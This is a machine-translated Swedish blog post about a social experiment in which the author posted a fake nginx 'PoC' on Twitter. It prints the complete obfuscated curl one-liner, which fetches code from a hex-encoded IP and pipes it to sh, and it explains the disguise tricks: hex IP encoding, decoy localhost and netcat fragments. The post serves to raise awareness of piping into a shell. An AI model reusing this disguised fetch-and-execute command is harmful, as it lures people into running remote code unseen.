Framgång för ett socialt experiment med en falsk nginx-exploat

Notera. transl.: Författare originalanteckning, publicerad den 1 juni, beslutade att genomföra ett experiment bland dem som är intresserade av informationssäkerhet. För att göra detta förberedde han en falsk exploatering för en okänd sårbarhet i webbservern och lade upp den på sin Twitter. Hans antaganden - att omedelbart avslöjas av specialister som skulle se det uppenbara bedrägeriet i koden - blev inte bara verklighet... De överträffade alla förväntningar, och i motsatt riktning: tweeten fick enormt stöd från många människor som inte gjorde det kontrollera dess innehåll.

Framgång för ett socialt experiment med en falsk nginx-exploat

TL;DR: Använd inte filpipelining i sh eller bash under några omständigheter. Detta är ett bra sätt att tappa kontrollen över din dator.

Jag vill dela med dig av en kort historia om en komisk PoC-exploat som skapades den 31 maj. Han dök upp omedelbart som svar på nyheter från Alisa Esage Shevchenko, medlem Zero Day Initiative (ZDI), att information om en sårbarhet i NGINX som leder till RCE (remote code execution) snart kommer att avslöjas. Eftersom NGINX driver många webbplatser måste nyheten ha varit en bomb. Men på grund av förseningar i processen för "ansvarsfullt avslöjande" var detaljerna om vad som hände inte kända - detta är standard ZDI-förfarande.

Framgång för ett socialt experiment med en falsk nginx-exploat
Tweet om sårbarhetsavslöjande i NGINX

Efter att ha arbetat klart med en ny fördunklingsteknik i curl, citerade jag den ursprungliga tweeten och "läckte en fungerande PoC" bestående av en enda kodrad som förmodligen utnyttjar den upptäckta sårbarheten. Naturligtvis var detta fullständigt nonsens. Jag antog att jag skulle bli avslöjad direkt, och att jag i bästa fall skulle få ett par retweets (nåja).

Framgång för ett socialt experiment med en falsk nginx-exploat
Tweet med falskt utnyttjande

Jag kunde dock inte föreställa mig vad som hände sedan. Min tweets popularitet sköt i höjden. Förvånansvärt nog, för närvarande (15:00 Moskva-tid 1 juni) har få människor insett att detta är en bluff. Många retweetar det utan att kontrollera det alls (för att inte tala om att beundra den härliga ASCII-grafik som den matar ut).

Framgång för ett socialt experiment med en falsk nginx-exploat
Titta bara så vackert det är!

Även om alla dessa slingor och färger är fantastiska, är det tydligt att folk var tvungna att köra kod på sin maskin för att se dem. Lyckligtvis fungerar webbläsare på samma sätt, och i kombination med det faktum att jag inte riktigt ville hamna i juridiska problem, gjorde koden som låg begravd på min sida bara ekosamtal utan att försöka installera eller exekvera någon ytterligare kod.

Liten utvikning: nätspooky, DNZ, jag och de andra killarna från laget Thugcrowd Vi har lekt med olika sätt att fördunkla curl-kommandon ett tag nu eftersom det är coolt... och vi är nördar. netspooky och dnz upptäckte flera nya metoder som verkade mycket lovande för mig. Jag var med på det roliga och försökte lägga till IP-decimalkonverteringar i påsen med tricks. Det visar sig att IP även kan konverteras till hexadecimalt format. Dessutom äter curl och de flesta andra NIX-verktyg glatt hexadecimala IP-adresser! Så det var bara att skapa en övertygande och säker kommandorad. Till slut bestämde jag mig för detta:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-elektronisk ingenjörskonst (SEE) - mer än bara nätfiske

Säkerhet och förtrogenhet var en stor del av detta experiment. Jag tror att det är de som ledde till hans framgång. Kommandoraden antydde tydligt säkerhet genom att hänvisa till "127.0.0.1" (den välkända lokala värden). Localhost anses vara säkert och data på den lämnar aldrig din dator.

Bekantskap var den andra nyckelkomponenten för SEE i experimentet. Eftersom målgruppen i första hand bestod av personer som var insatta i grunderna för datorsäkerhet var det viktigt att skapa kod så att delar av den verkade bekant och bekant (och därmed säker). Att låna in delar av gamla exploateringskoncept och kombinera dem på ett ovanligt sätt har visat sig vara mycket framgångsrikt.

Nedan följer en detaljerad analys av one-liner. Allt på den här listan slits kosmetisk natur, och praktiskt taget ingenting krävs för dess faktiska drift.

Vilka komponenter är egentligen nödvändiga? Detta -gsS, -O 0x0238f06a, |sh och själva webbservern. Webbservern innehöll inga skadliga instruktioner, utan serverade helt enkelt ASCII-grafik med hjälp av kommandon echo i manuset som finns i index.html. När användaren skrev in en rad med |sh i mitten, index.html laddas och körs. Lyckligtvis hade väktarna av webbservern inga dåliga avsikter.

  • ../../../%00 — representerar att gå bortom katalogen;
  • ngx_stream_module.so — sökväg till en slumpmässig NGINX-modul;
  • /bin/sh%00<'protocol:TCP' - Vi ska lansera /bin/sh på målmaskinen och omdirigera utgången till TCP-kanalen;
  • -O 0x0238f06a#PLToffset - hemlig ingrediens, kompletterad #PLToffset, för att se ut som en minnesoffset på något sätt som finns i PLT;
  • |sh; - ett annat viktigt fragment. Vi behövde omdirigera utdata till sh/bash för att exekvera koden som kom från den attackerande webbservern som finns på 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - en dummy som netcat syftar på /dev/tcp/localhostså att allt ser säkert ut igen. Det gör faktiskt ingenting och ingår i raden för skönhet.

Detta avslutar avkodningen av enradsskriptet och diskussionen om aspekter av "socio-elektronisk ingenjörskonst" (intrikat nätfiske).

Webbserverkonfiguration och motåtgärder

Eftersom de allra flesta av mina prenumeranter är infosec/hackers bestämde jag mig för att göra webbservern lite mer motståndskraftig mot "intresseanmälningar" från deras sida, bara för att killarna skulle ha något att göra (och det skulle vara kul att uppstart). Jag tänker inte lista alla fallgropar här eftersom experimentet fortfarande pågår, men här är några saker som servern gör:

  • Övervakar aktivt distributionsförsök på vissa sociala nätverk och ersätter olika förhandsvisningsminiatyrer för att uppmuntra användaren att klicka på länken.
  • Omdirigerar Chrome/Mozilla/Safari/etc till Thugcrowd-kampanjvideon istället för att visa skalskriptet.
  • Håller ögonen på uppenbara tecken på intrång/uppenbart hackning och börjar sedan omdirigera förfrågningar till NSA-servrar (ha!).
  • Installerar en trojan, såväl som ett BIOS-rootkit, på alla datorer vars användare besöker värden från en vanlig webbläsare (skämtar bara!).

Framgång för ett socialt experiment med en falsk nginx-exploat
En liten del av antimers

I det här fallet var mitt enda mål att behärska några av funktionerna i Apache - i synnerhet de coola reglerna för att omdirigera förfrågningar - och jag tänkte: varför inte?

NGINX Exploit (riktigt!)

Prenumerera på @alisaesage på Twitter och följ ZDI:s fantastiska arbete med att åtgärda mycket verkliga sårbarheter och utnyttja möjligheter i NGINX. Deras arbete har alltid fascinerat mig och jag är tacksam mot Alice för hennes tålamod med alla omnämnanden och meddelanden som min dumma tweet orsakade. Lyckligtvis gjorde det också en del nytta: det hjälpte till att öka medvetenheten om NGINX-sårbarheter, såväl som problem orsakade av missbruk av curl.

Källa: will.com

Lägg en kommentar